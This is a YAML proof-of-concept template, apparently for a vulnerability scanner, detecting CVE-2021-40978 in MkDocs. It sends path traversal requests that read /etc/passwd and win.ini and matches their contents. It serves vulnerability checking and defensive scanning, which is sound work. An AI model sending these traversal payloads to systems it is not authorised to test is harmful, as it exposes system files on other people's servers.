mkdocs-cve-2021-40978.yml

name: poc-yaml-mkdocs-cve-2021-40978
groups:
  linux:
    - method: GET
      path: /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
      follow_redirects: true
      expression: |
        response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
  windows:
    - method: GET
      path: /c:/windows/win.ini
      follow_redirects: true
      expression: |
        response.status == 200 && (response.body.bcontains(b"for 16-bit app support") || response.body.bcontains(b"[extensions]"))
detail:
  author: Jarcis(https://github.com/Jarcis-cy)
  links:
    - https://github.com/nisdn/CVE-2021-40978